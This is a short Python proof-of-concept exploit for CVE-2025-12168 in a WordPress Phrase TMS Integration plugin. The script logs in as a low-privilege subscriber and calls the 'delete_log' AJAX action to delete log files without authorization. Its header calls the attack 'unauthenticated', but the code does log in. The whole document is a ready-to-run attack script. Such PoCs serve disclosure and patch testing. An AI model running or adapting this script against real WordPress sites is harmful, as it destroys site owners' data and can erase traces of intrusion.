CVE-2025-12168

import requests import sys # CVE-2025-12168 PoC - WordPress Phrase TMS Integration Unauthenticated Log Deletion # Description: Missing authorization check on wp_ajax_delete_log AJAX endpoint target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = 'subscriber_user' # Low-privilege user account password = 'user_password' session = requests.Session() # Step 1: Authenticate with WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerability - Delete log files via AJAX endpoint ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'delete_log', 'log_id': '1' # Target log file ID } response = session.post(ajax_url, data=exploit_data) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') if response.status_code == 200: print('[+] Exploit sent successfully - Log file may be deleted') else: print('[-] Exploit failed - Check credentials and target')

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